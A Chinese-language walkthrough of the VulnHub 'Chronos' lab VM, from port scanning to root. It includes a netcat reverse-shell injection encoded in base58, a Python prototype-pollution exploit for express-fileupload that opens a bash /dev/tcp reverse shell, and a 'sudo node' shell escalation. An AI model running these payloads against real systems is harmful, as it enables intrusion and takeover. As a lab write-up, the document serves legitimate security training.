靶机名称:Chronos
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得 2 个 flag + root 权限
靶机地址:https://download.vulnhub.com/chronos/Chronos.ova
kali服务器IP |
192.168.137.81 |
靶机IP |
192.168.137.205 |
通过使用arp协议对同一网段的靶机进行主机发现,扫描出192.168.137.205为我们目标靶机
arp-scan -l
通过使用nmap工具对全端口进行发现,再进行版本扫描,我们发现开放22,80,8000三个端口
nmap -p- 192.168.137.205
nmap -sV -p 22,80,8000 192.168.137.205
4.1 打开80端口Web页面
4.2 查看页面源代码,我们在其中发现一串可疑信息,使用Cyberchef对js进行美化,调用JavaScript Beautify让其变为更直观
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
4.3 在页面源代码中发现一串疑似Base编码,'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
,使用cyberchef 进行解码
解码前:
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
使用cyberchef magic功能解码后:
'+Today is %A, %B %d, %Y %H:%M:%S.'
4.4 http://chronos.local:8000 似乎是作者引导我们去访问这个站点,而这台靶机开放了8000端口,我们改一下/etc/hosts文件,重新刷新页面,页面出现了一行日期,这行日期就是4.3解码后的内容,那这边可能是存在一个命令执行
4.5 我们使用burp进行抓包,并修改base58的值,使用CyberChef 进行转换
4.6 burp修改请求,发现命令成功执行
4.7 使用nc进行反弹shell
&& nc 192.168.137.81 8888 | /bin/bash | nc 192.168.137.81 9999
base58编码后:
3Gho48Ayo8ZTkKBJiuZUzjx5XbQLrVocowNVvpHX9LSew4WpvASt4istptg6FQeT7kapen7QxKdVGC5uL75aG
5.1 本地文件信息收集,发现本机还有一个用户imera
cat /etc/passwd
5.2 在imera目录下,发现user.txt
,但我们没有权限访问,那作者的意图很明显,需要我们提权到imera用户或者root用户去打开这个文件
5.3 在/opt/chronos-v2/backend
中,发现一个server.js
文件,通过搜索,我们发现express fileupload存在一个命令注入漏洞,并且此web服务存在于本机127.0.0.1的8080端口
5.4 使用exp直接利用,取得imera
用户权限
项目原文地址:Real-world JS - 1
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.137.81/9999 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
5.5 获取第一个flag,在imera用户目录下
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
5.6 再次尝试提权到root,我们发现此用户可以无密码以root身份调用node和npm命令
5.7 使用node提权成功
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
5.8 拿到最后一个flag,在root目录下
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK